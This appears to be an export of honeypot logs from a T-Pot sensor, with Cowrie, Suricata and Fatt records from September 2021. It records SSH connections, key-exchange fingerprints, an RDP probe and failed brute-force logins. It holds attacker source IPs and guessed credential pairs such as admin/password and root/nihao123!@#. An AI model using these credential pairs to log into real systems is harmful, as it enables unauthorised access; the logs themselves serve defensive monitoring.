23880	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:53.512782+03	2021-09-20 14:15:08.075472+03	{"_id": "8gbkAnwBvYTbRNuEFA-n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6ad814083280", "@version": "1", "duration": 2.8351552486419678, "timestamp": "2021-09-20T11:07:53.512782Z", "@timestamp": "2021-09-20T11:07:53.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23881	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:55.073519+03	2021-09-20 14:15:08.0765+03	{"_id": "-AbkAnwBvYTbRNuEGA-Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "82097474abd6", "@version": "1", "duration": 2.700692653656006, "timestamp": "2021-09-20T11:07:55.073519Z", "@timestamp": "2021-09-20T11:07:55.073Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23882	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:48.202756+03	2021-09-20 14:15:08.077471+03	{"_id": "UwbjAnwBvYTbRNuE_w_O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1509313441153111, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38264, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.202756Z", "@timestamp": "2021-09-20T11:07:48.202Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23884	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.52864+03	2021-09-20 14:15:08.0805+03	{"_id": "awbkAnwBvYTbRNuEAQ9S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/password] failed", "session": "ddc5a511750a", "@version": "1", "password": "password", "username": "admin", "timestamp": "2021-09-20T11:07:48.528640Z", "@timestamp": "2021-09-20T11:07:48.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23885	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:53.016315+03	2021-09-20 14:15:08.081471+03	{"_id": "7wbkAnwBvYTbRNuEEw9Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1355875734847341, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50384, "dest_port": 22, "timestamp": "2021-09-20T11:07:53.016315Z", "@timestamp": "2021-09-20T11:07:53.016Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23886	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:53.470515+03	2021-09-20 14:15:08.0825+03	{"_id": "8QbkAnwBvYTbRNuEFA-n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "466dc77f0ea6", "@version": "1", "duration": 2.4193313121795654, "timestamp": "2021-09-20T11:07:53.470515Z", "@timestamp": "2021-09-20T11:07:53.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23887	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:53.769962+03	2021-09-20 14:15:08.08347+03	{"_id": "8wbkAnwBvYTbRNuEFA-n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ftp/12345] failed", "session": "82097474abd6", "@version": "1", "password": "12345", "username": "ftp", "timestamp": "2021-09-20T11:07:53.769962Z", "@timestamp": "2021-09-20T11:07:53.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23888	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:55.159146+03	2021-09-20 14:15:08.085471+03	{"_id": "9wbkAnwBvYTbRNuEGA-Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a45dfa802645", "@version": "1", "duration": 2.4203078746795654, "timestamp": "2021-09-20T11:07:55.159146Z", "@timestamp": "2021-09-20T11:07:55.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23889	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:48.204804+03	2021-09-20 14:15:08.086503+03	{"_id": "TwbjAnwBvYTbRNuE_w_O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1076374295269545, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36986, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.204804Z", "@timestamp": "2021-09-20T11:07:48.204Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23890	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:07:53.342903+03	2021-09-20 14:15:08.087471+03	{"_id": "9AbkAnwBvYTbRNuEFA-o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.login.failed", "message": "login attempt [root/nihao123!@#] failed", "session": "236bdfbf41a0", "@version": "1", "password": "nihao123!@#", "username": "root", "timestamp": "2021-09-20T11:07:53.342903Z", "@timestamp": "2021-09-20T11:07:53.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23891	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:53.877514+03	2021-09-20 14:15:08.088501+03	{"_id": "9QbkAnwBvYTbRNuEFA-o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [kelly/kelly] failed", "session": "a45dfa802645", "@version": "1", "password": "kelly", "username": "kelly", "timestamp": "2021-09-20T11:07:53.877514Z", "@timestamp": "2021-09-20T11:07:53.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23892	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:07:54.693326+03	2021-09-20 14:15:08.0895+03	{"_id": "9gbkAnwBvYTbRNuEGA-Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "236bdfbf41a0", "@version": "1", "duration": 3.1800389289855957, "timestamp": "2021-09-20T11:07:54.693326Z", "@timestamp": "2021-09-20T11:07:54.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23893	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:08:07.937585+03	2021-09-20 14:15:08.0915+03	{"_id": "HQbkAnwBvYTbRNuEShAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:08:07.837750+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1883334226987126, "payload": "AAADzAYUvd36RTzY/6925vf0n+BOAAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53549, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:08:07.937585Z", "@timestamp": "2021-09-20T11:08:07.937Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........E<...v.....N....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
23894	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:07.890899+03	2021-09-20 14:15:08.092507+03	{"_id": "HwbkAnwBvYTbRNuEShD0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53549, "timestamp": "2021-09-20T11:08:07.890899", "@timestamp": "2021-09-20T11:08:07.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23895	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:08:07.886998+03	2021-09-20 14:15:08.093471+03	{"_id": "JAbkAnwBvYTbRNuESxCT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:53549 (192.168.176.2:22) [session: b403f8aa5781]", "session": "b403f8aa5781", "@version": "1", "protocol": "ssh", "src_port": 53549, "dest_port": 22, "timestamp": "2021-09-20T11:08:07.886998Z", "@timestamp": "2021-09-20T11:08:07.886Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23905	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:08:03.672085+03	2021-09-20 14:15:08.10647+03	{"_id": "EQbkAnwBvYTbRNuEOxBS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 60745, "dest_port": 3389, "timestamp": "2021-09-20T11:08:03.672085", "@timestamp": "2021-09-20T11:08:03.672Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
23896	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:08:07.938212+03	2021-09-20 14:15:08.094499+03	{"_id": "KAbkAnwBvYTbRNuESxCT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b403f8aa5781", "@version": "1", "timestamp": "2021-09-20T11:08:07.938212Z", "@timestamp": "2021-09-20T11:08:07.938Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23897	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:08:08.234977+03	2021-09-20 14:15:08.0955+03	{"_id": "KQbkAnwBvYTbRNuESxCT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [samba/password] failed", "session": "b403f8aa5781", "@version": "1", "password": "password", "username": "samba", "timestamp": "2021-09-20T11:08:08.234977Z", "@timestamp": "2021-09-20T11:08:08.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
